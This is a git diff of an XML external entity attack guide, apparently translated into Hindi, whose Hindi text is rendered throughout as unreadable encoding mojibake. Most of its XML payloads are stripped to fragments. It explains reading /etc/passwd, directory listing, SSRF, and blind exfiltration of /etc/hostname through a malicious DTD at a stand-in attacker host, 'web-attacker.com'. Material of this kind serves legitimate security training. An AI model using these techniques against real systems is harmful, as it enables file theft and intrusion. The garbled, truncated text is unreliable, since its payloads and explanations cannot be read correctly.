рд╕реНрд░реЛрддреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ: ` ]>` -- **рдкреИрд░рд╛рдореАрдЯрд░ Entities рдХреЗ рд╕рд╛рде XXE рдкрд╣рдЪрд╛рди**: XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдкрд╛рд░реНрд╕рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкрд╛рд░рдВрдкрд░рд┐рдХ рд╡рд┐рдзрд┐рдпрд╛рдБ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ, XML рдкреИрд░рд╛рдореАрдЯрд░ entities рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ entities рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдкрд╣рдЪрд╛рди рддрдХрдиреАрдХреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ DNS рд▓реБрдХрдЕрдк рдпрд╛ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЛрдореЗрди рдкрд░ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛, рддрд╛рдХрд┐ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХреЗред +- **рдкреИрд░рд╛рдореАрдЯрд░ Entities рдХреЗ рд╕рд╛рде XXE рдкрд╣рдЪрд╛рди**: XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдкрд╛рд░рдВрдкрд░рд┐рдХ рд╡рд┐рдзрд┐рдпрд╛рдБ рдкрд╛рд░реНрд╕рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ, XML рдкреИрд░рд╛рдореАрдЯрд░ entities рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ entities рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдкрд╣рдЪрд╛рди рддрдХрдиреАрдХреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ DNS рд▓реБрдХрдЕрдк рдпрд╛ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЛрдореЗрди рдкрд░ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛, рддрд╛рдХрд┐ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХреЗред - ` ]>` - ` ]>` ## Main attacks -[**рдЗрдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╣рдорд▓реЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рд╢рд╛рдирджрд╛рд░ Portswiggers XEE рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) +[**рдЗрдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╣рдорд▓реЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рд╢рд╛рдирджрд╛рд░ Portswiggers XEE рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### New Entity test @@ -35,7 +35,7 @@ XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ рдЖрдЗрдП `/etc/passwd` рдХреЛ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рд╕реЗ рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред Windows рдХреЗ рд▓рд┐рдП рдЖрдк рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `C:\windows\system32\drivers\etc\hosts` -рдЗрд╕ рдкрд╣рд▓реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SYSTEM "_\*\*file:///\*\*etc/passwd_" рднреА рдХрд╛рдо рдХрд░реЗрдЧрд╛ред +рдЗрд╕ рдкрд╣рд▓реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SYSTEM "_**file:///**etc/passwd_" рднреА рдХрд╛рдо рдХрд░реЗрдЧрд╛ред ```xml ]> @@ -43,7 +43,7 @@ XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ ``` ![](<../images/image (86).png>) -рдпрд╣ рджреВрд╕рд░рд╛ рдорд╛рдорд▓рд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрджрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ (рдпрд╣ рдкреЛрд░реНрдЯрд╕реНрд╡рд┐рдЧрд░реНрд╕ рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдУрдВ рдХрд╛ рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИ) +рдпрд╣ рджреВрд╕рд░рд╛ рдорд╛рдорд▓рд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрджрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ (рдпрд╣ Portswiggers рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдУрдВ рдХрд╛ рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИ) ```xml ]> @@ -65,7 +65,7 @@ XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ ### Directory listing -**Java** рдЖрдзрд╛рд░рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ **рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛** XXE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдПрдХ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ (рдлрд╛рдЗрд▓ рдХреЗ рдмрдЬрд╛рдп рдмрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рдкреВрдЫрдирд╛): +**Java** рдЖрдзрд╛рд░рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ **рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛** XXE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдПрдХ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ (рдлрд╛рдЗрд▓ рдХреЗ рдмрдЬрд╛рдп рдХреЗрд╡рд▓ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рд▓рд┐рдП рдкреВрдЫрдирд╛): ```xml ]>&xxe; @@ -75,7 +75,7 @@ XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ ``` ### SSRF -рдПрдХ XXE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд▓рд╛рдЙрдб рдХреЗ рдЕрдВрджрд░ рдПрдХ SSRF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдПрдХ XXE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд▓рд╛рдЙрдб рдХреЗ рдЕрдВрджрд░ SSRF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ```xml ]> @@ -83,7 +83,7 @@ XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ ``` ### Blind SSRF -**рдкрд╣рд▓реЗ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рддрдХрдиреАрдХ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рджрд┐рдЦрд╛ рд╕рдХреЗ рдХрд┐ рдпрд╣ рдХрдордЬреЛрд░ рд╣реИред рд▓реЗрдХрд┐рди, рдпрджрд┐ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ **XML entities рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ**, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк **XML parameter entities** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +**рдкрд╣рд▓реЗ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рддрдХрдиреАрдХ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рджрд┐рдЦрд╛ рд╕рдХреЗ рдХрд┐ рдпрд╣ рдХрдордЬреЛрд░ рд╣реИред рд▓реЗрдХрд┐рди, рдЕрдЧрд░ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ **XML entities рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ**, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк **XML parameter entities** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```xml %xxe; ]> @@ -104,37 +104,37 @@ The structure is as follows: %eval; %exfiltrate; ``` -The steps executed by this DTD include: +рдЗрд╕ DTD рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдЪрд░рдгреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -1. **Parameter Entities рдХреА рдкрд░рд┐рднрд╛рд╖рд╛:** -- рдПрдХ XML parameter entity, `%file`, рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЬреЛ `/etc/hostname` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрдврд╝рддреА рд╣реИред -- рдПрдХ рдФрд░ XML parameter entity, `%eval`, рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдирдИ XML parameter entity, `%exfiltrate`, рдХреА рдШреЛрд╖рдгрд╛ рдХрд░рддреА рд╣реИред `%exfiltrate` entity рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ `%file` entity рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ URL рдХреЗ рдХреНрд╡реЗрд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рднреАрддрд░ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред -2. **Entities рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди:** -- `%eval` entity рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ `%exfiltrate` entity рдХреА рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред -- рдлрд┐рд░ `%exfiltrate` entity рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ URL рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред +1. **рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛:** +- рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА, `%file`, рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЬреЛ `/etc/hostname` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрдврд╝рддреА рд╣реИред +- рдПрдХ рдФрд░ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА, `%eval`, рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдирдИ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА, `%exfiltrate`, рдШреЛрд╖рд┐рдд рдХрд░рддреА рд╣реИред `%exfiltrate` рдПрдВрдЯрд┐рдЯреА рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ `%file` рдПрдВрдЯрд┐рдЯреА рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ URL рдХреЗ рдХреНрд╡реЗрд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рднреАрддрд░ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред +2. **рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди:** +- `%eval` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ `%exfiltrate` рдПрдВрдЯрд┐рдЯреА рдХреА рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред +- рдлрд┐рд░ `%exfiltrate` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ URL рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рдХреЛ рдЕрдкрдиреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рд╕рд░реНрд╡рд░ рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ рдПрдХ URL рдЬреИрд╕реЗ `http://web-attacker.com/malicious.dtd` рдкрд░ред -**XXE Payload:** To exploit a vulnerable application, the attacker sends an XXE payload: +**XXE Payload:** рдПрдХ рдХрдордЬреЛрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдПрдХ XXE payload рднреЗрдЬрддрд╛ рд╣реИ: ```xml %xxe;]> 3;1 ``` -рдпрд╣ рдкреЗрд▓реЛрдб рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `%xxe` рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ DTD рдХреЗ рднреАрддрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдЬрдм рдЗрд╕реЗ XML рдкрд╛рд░реНрд╕рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкреЗрд▓реЛрдб рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдмрд╛рд╣рд░реА DTD рд▓рд╛рддрд╛ рд╣реИред рдлрд┐рд░ рдкрд╛рд░реНрд╕рд░ DTD рдХреЛ рдЗрдирд▓рд╛рдЗрди рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд░рддрд╛ рд╣реИ, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рдореЗрдВ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ `/etc/hostname` рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИред +рдпрд╣ рдкреЗрд▓реЛрдб рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `%xxe` рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ DTD рдХреЗ рднреАрддрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдЬрдм рдЗрд╕реЗ XML рдкрд╛рд░реНрд╕рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкреЗрд▓реЛрдб рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдмрд╛рд╣рд░реА DTD рд▓рд╛рддрд╛ рд╣реИред рдлрд┐рд░ рдкрд╛рд░реНрд╕рд░ DTD рдХреЛ рдЗрдирд▓рд╛рдЗрди рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд░рддрд╛ рд╣реИ, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рдореЗрдВ рд╡рд░реНрдгрд┐рдд рдЪрд░рдгреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ `/etc/hostname` рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред ### рддреНрд░реБрдЯрд┐ рдЖрдзрд╛рд░рд┐рдд (рдмрд╛рд╣рд░реА DTD) -**рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдпрд╣ рдХреЗрд╡рд▓ рддрдм рдорд╛рдиреНрдп рд╣реИ рдЬрдм рдЖрдк рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ)ред** [**рдпрд╣рд╛рдВ рд╕реЗ рдЙрджрд╛рд╣рд░рдгред**](https://portswigger.net/web-security/xxe/blind) +**рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DTD рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рднреАрддрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдпрд╣ рдХреЗрд╡рд▓ рддрдм рдорд╛рдиреНрдп рд╣реИ рдЬрдм рдЖрдк рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ)ред** [**рдпрд╣рд╛рдВ рд╕реЗ рдЙрджрд╛рд╣рд░рдгред**](https://portswigger.net/web-security/xxe/blind) -рдПрдХ XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢, рдЬреЛ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ, рдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рд╣рд░реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкреНрд░рдХрд╛рд░ рдкрд░рд┐рднрд╛рд╖рд╛ (DTD) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдПрдХ XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢, рдЬреЛ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рд╣рд░реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкреНрд░рдХрд╛рд░ рдкрд░рд┐рднрд╛рд╖рд╛ (DTD) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: -1. рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `file` рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИред -2. рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `eval` рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `error` рдирд╛рдордХ рдПрдХ рдЕрдиреНрдп XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рд▓рд┐рдП рдПрдХ рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЬрдм рдЗрд╕ `error` 